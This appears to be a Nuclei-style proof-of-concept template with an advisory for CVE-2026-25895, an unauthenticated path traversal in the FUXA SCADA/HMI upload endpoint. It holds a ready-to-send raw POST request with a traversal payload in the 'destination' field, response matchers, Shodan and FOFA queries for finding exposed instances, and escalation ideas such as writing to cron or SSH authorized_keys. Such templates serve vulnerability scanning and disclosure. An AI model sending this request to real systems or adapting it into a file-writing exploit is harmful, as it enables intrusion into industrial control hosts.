FUXA, an open-source Node.js SCADA/HMI web interface, through version 1.2.9 exposes an unauthenticated POST /api/upload endpoint that resolves the attacker-controlled `destination` field from the JSON request body against the application directory with only a leading underscore prefix and no containment check. Because path.resolve() honours "../" segments, an unauthenticated attacker can escape the application directory and write arbitrary files anywhere on the filesystem reachable by the service account - for example into the public web root (a/../../client/dist), into cron directories, or over SSH authorized_keys - leading to remote code execution. Version 1.2.10 rejects any destination containing a traversal segment and additionally requires an authenticated administrator.
PoC
id: CVE-2026-25895
info:
name: FUXA <= 1.2.9 - Unauthenticated Path Traversal to Arbitrary File Write
author: prithvee07
severity: critical
description: |
FUXA, an open-source Node.js SCADA/HMI web interface, through version 1.2.9 exposes an unauthenticated POST /api/upload endpoint that resolves the attacker-controlled `destination` field from the JSON request body against the application directory with only a leading underscore prefix and no containment check. Because path.resolve() honours "../" segments, an unauthenticated attacker can escape the application directory and write arbitrary files anywhere on the filesystem reachable by the service account - for example into the public web root (a/../../client/dist), into cron directories, or over SSH authorized_keys - leading to remote code execution. Version 1.2.10 rejects any destination containing a traversal segment and additionally requires an authenticated administrator.
impact: |
Unauthenticated attackers can write arbitrary files anywhere on the filesystem reachable by the service account, including the public web root, cron directories, and SSH authorized_keys, leading to full remote code execution on the host running FUXA.
remediation: |
Upgrade FUXA to version 1.2.10 or later, which validates and contains the `destination` parameter to the intended application directory and requires administrator authentication on /api/upload.
reference:
- https://github.com/frangoteam/FUXA/security/advisories/GHSA-88qh-cphv-996c
- https://github.com/frangoteam/FUXA/commit/22c2192f5d9beef8a787c45eff3a14c24dbb5f96
- https://github.com/frangoteam/FUXA/releases/tag/v1.2.10
- https://github.com/Hann1bl3L3ct3r/FUXAPWN
- https://nvd.nist.gov/vuln/detail/CVE-2026-25895
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-25895
epss-score: 0.11195
epss-percentile: 0.95725
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: frangoteam
product: fuxa
shodan-query: http.title:"FUXA"
fofa-query: title="FUXA"
tags: cve,cve2026,fuxa,scada,path-traversal,file-upload,rce,unauth,vkev
variables:
filename: "{{rand_base(10,'abcdefghijklmnopqrstuvwxyz')}}"
http:
- raw:
- |
POST /api/upload HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"resource":{"name":"{{filename}}.txt","fullPath":"{{filename}}.txt","type":"bin","data":"{{base64(filename)}}"},"destination":"a/../../server/main.js"}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 400'
- 'contains(body, "ENOTDIR")'
- 'contains(body, concat("main.js", "/", "{{filename}}.txt"))'
condition: and
- type: word
part: body
words:
- "invalid_destination"
negative: true
extractors:
- type: regex
part: body
group: 1
regex:
- "open '(.*?)'"
# digest: 4a0a00473045022100d10721c3416a440420125af2d99a39e93986bd4469b8678758008e0b22f7561f0220626bff7f0365e8c0706efb855bcb4f43874423afbbf8179bb10882d7bc1739cb:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.